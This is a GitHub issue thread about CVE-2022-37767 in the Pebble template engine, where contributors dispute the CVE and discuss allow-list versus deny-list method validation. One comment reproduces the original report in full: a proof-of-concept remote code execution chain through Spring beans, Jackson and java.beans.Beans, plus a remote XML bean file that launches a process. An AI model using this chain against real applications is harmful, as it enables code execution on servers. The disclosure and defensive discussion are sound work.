-
Notifications
You must be signed in to change notification settings - Fork 168
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Vulnerability CVE-2022-37767 #625
Comments
IMHO, using deny lists is an error and pebble should switch to using allow lists instead: the end-user should be responsible of deciding which classes are safe and which are not. @ebussieres WDYT? |
We already had a conversation on this #494 (comment) |
@ebussieres Sorry I couldn't get to any conclusion looking at #494. |
+1 |
Disclaimer: I'm just an occasional contributor here @chaitu0292 No, this CVE is not addressed. IMHO, the blacklist approach that was picked cannot possibly cover all possible security leaks and only a whitelist approach where the user explicitly lists what's needed in his templates can work. But maybe I'm missing something. @rumfuddle Then, corporate users who depend on this library should not stay idle and wait for some open-source volunteers to tackle this issue on their free time. They should contribute, either in manpower or financially. |
Fair point, but if the PR consists of just an upgrade of the dependency containing the CVE, will you approve? |
@rumfuddle No it's not just an upgrade of a dependency. You need to define a MethodAccessValidator implementation Then
If not
The complexity resides in the implementation. If we provide a WhitelistMethodAccessValidator, we'll need to whitelist a lot of things (jdk, spring etc.). See this comment I'm all ears open for suggestions |
Indeed, core classes and Java collections are often used in pebble templates.
This I don't get, sorry. My2cents: It's possible to harden a default configuration for a known subset of classes, typically the JDK. It's not possible for frameworks such as Spring. Pebble can provide a sensible default configuration that grants access to all For all other classes and methods, the user would have to explicitly list what he wants to enable, typically his POJOs and utils. @ebussieres WDYT? |
My apologies for my earlier comment. I only now found the time to look at the issue (I got it confused with a Apache commons vulnerability), and I can see the complexity. |
Exactly. Then, please remember that CVE severity is only determined based on the potential impact if someone was able to exploit it. It doesn't provide any context about the conditions for being able to exploit it. |
In our use case, templates are 'data', provided by endusers but at least endusers that have to authenticate and that we trust. |
side note: when we'll have a fix, I don't know how we'll be able to update the CVE. @ebussieres did @Y4tacker reach out before publishing his post? Did the CVE author reach out before creating it? |
ok,sorry for that. for I didnt find anyway to contacts you in your website(https://pebbletemplates.io/),other Used to go to the official website to find contact information(such as shiro they have https://shiro.apache.org/security-reports.html) |
@Y4tacker Pet projects can't be expected to have well-defined processes like the ones hosted at the Apache Foundation (those are actually requirements to get hosted there). A typical flow is to reach out with an issue on the public repo and then get invited to a private one and share the details there. Are you the one who opened the CVE or is it someone else? |
Ok,I got it. |
@Y4tacker The link referenced in the CVE, Y4tacker/Web-Security#3, is not public. Can you update the CVE to point to a valid link? |
Is there any chance this gets resolved any time soon? I am also willing to contribute. As @rumfuddle mentioned, it breaks any corporate build. To me this vulnerability would only exhibit itself in scenarios in which the application accepts the input and then directly evaluates it as the template which is a horribly bad practice. In the most common case when the templates are managed by the development team the chance of doing any harm is really low. Why would anyone want to execute code from the hand-crafted developer managed template if one could do the same system call directly from the Java code itself. |
@ebussieres If you're considering getting this fixed some day, or at least coordinating the effort of possible contributors, you could maybe set up GitHub sponsors or some bug bounty of some sort, so that corporate users who can't contribute with time/code can contribute with money. |
@slandelle @ebussieres I am willing to contribute on behalf of myself or the organization that I am part of if I know that the PR/solution will be accepted into the master. I suggest to create a The user will still be able to configure a backward compatible This should work flawlessly for users who use the view model approach, users who need to execute custom code from the templates will be able to set back the "old" Please let me know what you think. |
Hard to investigate with the original report being no longer public. Does anyone have a copy? Note: I really find incredible that the NVD does make a proper copy so it can be a reliable source of truth. Now we're left with a CVE without a description. |
@Y4tacker Could you please invite @ebussieres @piotrpolak and I to your repo? |
ok,public |
@Y4tacker Thanks! I do have a question for you: would the vulnerability be exploited without Spring? |
As of now, it should not be possible to take advantage of |
Actually, it's not. Still 404. |
Please get a backup, I have a lot of unwanted things in this warehouse is ready to close, now public |
I just did, thanks. Then, if this repo is not made public, the link is the CVE is invalid and there's no way for anyone to know what it's about. |
COPIED FROM THE ORIGINAL REPO THAT WON'T STAY PUBLIC ================================================ Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springboot. First, simply set up an environment with the official documentation:https://pebbletemplates.io/ pom.xml <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>hackingpebble</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>hackingpebble</name>
<description>hackingpebble</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>io.pebbletemplates</groupId>
<artifactId>pebble-spring-boot-starter</artifactId>
<version>3.1.5</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project> com.example.hackingpebble.HackingpebbleApplication.java package com.example.hackingpebble;
import com.mitchellbosecke.pebble.PebbleEngine;
import com.mitchellbosecke.pebble.loader.Loader;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class HackingpebbleApplication {
public static void main(String[] args) {
SpringApplication.run(HackingpebbleApplication.class, args);
}
} com.example.hackingpebble.controller.Test.java package com.example.hackingpebble.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Test {
@RequestMapping({"/"})
public String getTemplate(@RequestParam String template) {
return template;
}
} application.properties
And file structure as follows: When we control the parameter template we can render back the specified template file. In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator. In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods public class BlacklistMethodAccessValidator implements MethodAccessValidator {
private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};
public BlacklistMethodAccessValidator() {
}
public boolean isMethodAccessAllowed(Object object, Method method) {
boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
return !methodForbidden;
}
private boolean isUnsafeMethod(Method member) {
return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
}
private boolean isAnyOfMethods(Method member, String... methods) {
String[] var3 = methods;
int var4 = methods.length;
for(int var5 = 0; var5 < var4; ++var5) {
String method = var3[var5];
if (this.isMethodWithName(member, method)) {
return true;
}
}
return false;
}
private boolean isMethodWithName(Method member, String method) {
return member.getName().equals(method);
}
} Look at the old version of exploit, loading any class by Class.forName,now,no class
What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass By debugging we can easily export these beans objects So we have to find some eligible beans among these classes
Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object It is not enough to execute loadclass, we also need to instantiate the class. And It's also very simple, there is jackson among spring's dependencies, through jackson deserialization we can easily instantiate a class. Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution. But... At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate public void validateSubType(DeserializationContext ctxt, JavaType type, BeanDescription beanDesc) throws JsonMappingException {
Class<?> raw = type.getRawClass();
String full = raw.getName();
if (!this._cfgIllegalClassNames.contains(full)) {
if (raw.isInterface()) {
return;
}
if (full.startsWith("org.springframework.")) {
Class cls = raw;
while(true) {
if (cls == null || cls == Object.class) {
return;
}
String name = cls.getSimpleName();
if ("AbstractPointcutAdvisor".equals(name) || "AbstractApplicationContext".equals(name)) {
break;
}
cls = cls.getSuperclass();
}
} else if (!full.startsWith("com.mchange.v2.c3p0.") || !full.endsWith("DataSource")) {
return;
}
}
ctxt.reportBadTypeDefinition(beanDesc, "Illegal type (%s) to deserialize: prevented for security reasons", new Object[]{full});
} What to do at this time? We found a class called java.beans.Beans in jre. The instantiate method of this class can help us instantiate arbitrary methods. public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
return Beans.instantiate(cls, beanName, null, null);
} Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in. if (result == null) {
// No serialized object, try just instantiating the class
Class<?> cl;
try {
cl = ClassFinder.findClass(beanName, cls);
} catch (ClassNotFoundException ex) {
// There is no appropriate class. If we earlier tried to
// deserialize an object and got an IO exception, throw that,
// otherwise rethrow the ClassNotFoundException.
if (serex != null) {
throw serex;
}
throw ex;
}
if (!Modifier.isPublic(cl.getModifiers())) {
throw new ClassNotFoundException("" + cl + " : no public access");
}
/*
* Try to instantiate the class.
*/
try {
result = cl.newInstance();
} catch (Exception ex) {
// We have to remap the exception to one in our signature.
// But we pass extra information in the detail message.
throw new ClassNotFoundException("" + cl + " : " + ex, ex);
}
} So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means. So by stringing these points together we can easily get the following payload
1.xml <?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans> with http server in your vps
Successfully triggered command execution by template file called rce.pebble |
ok,thanks |
After reviewing the report Y4tacker/Web-Security#3 I STRONGLY disagree with calling this a Pebble vulnerability. TLTR:
The long story:1. Bad controller designThe first problem is in the design of the Spring MVC controller - there is no input validation and the This weakness can be exploited to load and render any classpath resource as a template and it would be a real problem no matter what templating engine is being used. In case of Pebble the list of resources that are eligible to be be loaded is being limited by On top of being fairy insecure, this approach is likely to cause tons HTTP 500 errors for situations like:
package com.example.hackingpebble.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Test {
@RequestMapping({"/"})
public String getTemplate(@RequestParam String template) {
// Can be used arbitrary file from the classpath LOL
return template;
}
} 2. Malicous code in the templateThe second problem is in how the reporter designed
This template code is not coming from the user input but is already present on the classpath. Why would a developer try to write a malicious code and hide it in a template if one could simply write a malicious code directly in the Java source? 4. MethodAccessValidator
3. ConclusionCalling this a CVE is like saying that knives are dangerous because they can be misused. Please consider my previous comment #625 (comment) as a potential improvement (but not as a security fix). |
@piotrpolak From my understanding:
I agree that sanitizing the end-user input is the application's responsibility. But now, it seems that nowadays infosec is all about configuring some dependency scanning SaaS product that's going to report every library matching a CVE in the NVD, whatever the usage context. For example, they force me to upgrade moment.js in a static local files generator because of an issue when used with node.js. Now, I have no idea how this ended up in the NVD, in particular as AFAIK no one reached out the Pebble community to validate it, and so how to revisit the registired CVE. |
Allowing the user to edit templates without proper input validation is a security issue by itself as one might intentionally (or unintentionally) save a code exposing a Cross-Site-Scripting (XSS) vulnerability on top of the RCE one. If we take this approach, we should consider the entire JavaScript as super insecure as it exposes the ‘eval’ function and one might write an application that reads data from the untrusted database/filesystem and executes the malicious code. You might still want to change the behavior of Pebble’s default ‘MethodAccessValidatior’ to allow methods on the submitted view model (template variables) only. This would include getters, collection methods but would disallow calling any bean’s or system methods. In other words developers would rather have to push variables to the templates rather than pulling them from the template level by executing bean/system methods. You could still leave the ‘BlacklistMethodAccessValidator’ in the project for these who need it for backward compatibility reasons but it would require manual configuration either from code or the properties file. This should solve the mysterious CVE but could introduce a backward incompatible change for these relying on the system calls executed from the templates. In case of the applications that I take care of, I consider calling bean methods from the template code a bad practice when you have the neat view model approach. Calling Java methods from the template in both potentially dangerous, hard to test and prone to refactoring related errors. I can still imagine that one might need to call individual bean’s methods from the user managed templates but I consider it as a corner case. To me it sounds like programming-trough-the-template approach. The CVE is not relevant to my application but it makes the Pebble library appear as an extreme risk in the security scan report. If you agree to change the behavior of the default ‘MethodAccessValidator’ - I am willing to help. |
Technically, how do you implement those categories? A getter is only a convention. Is It's actually very complicated.
What about POJO trees or collections traversal:
What about static helpers, eg for formatting? This is a view concern so using those here is legit.
In the end, a template is just a piece of the program.
Ha ha, there's a misunderstanding here :) I'm willing to lend a hand but the owner here is @ebussieres and I absolutely don't have the bandwidth to become a core committer here. |
FYI, I've requested the invalidation of the CVE. Here's the message I posted on the MITRE form:
|
Not a contributor, not even a major user, but I came across this in my normal Gradle buildscript upgrade where I noticed that, yet again, my HTTP framework was including something with a vulnerability. I disagree with the CVE and CVSS. That being said, there is some inconsistency which could lead to a "security issue." Templates, pebble or not, are arbitrary code. They should be highly sanitized. Any failure to do so is the applications fault. In fact, that is my major gripe with the CVSS: this is NOT a remote vulnerability. That being said, this does seem to be a bypass to existing mechanism of security: the blacklist. I don't use Spring Boot so I may be wrong in this front. Additionally, I do recognize that ensuring the blacklist cannot be bypassed is practically, if not literally, impossible, but the library's dependencies should not expose this issue by default. I would suggest allowing a whitelist to be selected (if possible in a backwards compatible manner) or at the very minimum sanitizing the library's dependencies for bypass vulnerabilities. This ensures that the blacklist feature works as the user may expect (minus the obvious oversights users should expect from a default blacklist.) In the meantime, I am yet again going to ignore the big yellow highlighting and tell Snyk it needs to calm down. |
@piotrpolak If you want to contribute I'll gladly accept your help. Next release is scheduled for November 24 to add support for spring boot 3 |
Hi all. One of our dev/test pipelines is blocked by this CVE. Our specific use case is running Gradle Gatling for load tests. This has Pebble as a dependency. From the helpful comments here I am understanding this disputed CVE as "If Pebble is configured to read a template (or classpath location?) from a location that is under control of a malicious actor, the malicious actor could introduce malicious code which would be executed"? Is that fair? In which case isn't it the same as using an insecure writeable public repo, or hosting your templates on a public writeable S3 bucket? Am I missing something? Other than this kind of egregious failure of source code security, is there any way someone could use this CVE for an attack? Also - is there any progress on the proposed mitigations (Whitelist mode)? |
Note: Gatling creator here.
yes
It is exactly this.
None I can think of.
I don’t think so. And it's probably a huge undertaking (similar to the official SecurityManager that has been deprecated for removal). I tried to reach out to the organization maintaining the CVE database to try to get this CVE reconsidered but they never bothered replying. |
Hello,
since this morning security checks in our projects are reporting new critical vulnerability in the current pebble version 3.1.5:
NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-37767
Original report: Y4tacker/Web-Security#3
Any short-term workaround to mitigate the vulnerability?
The text was updated successfully, but these errors were encountered: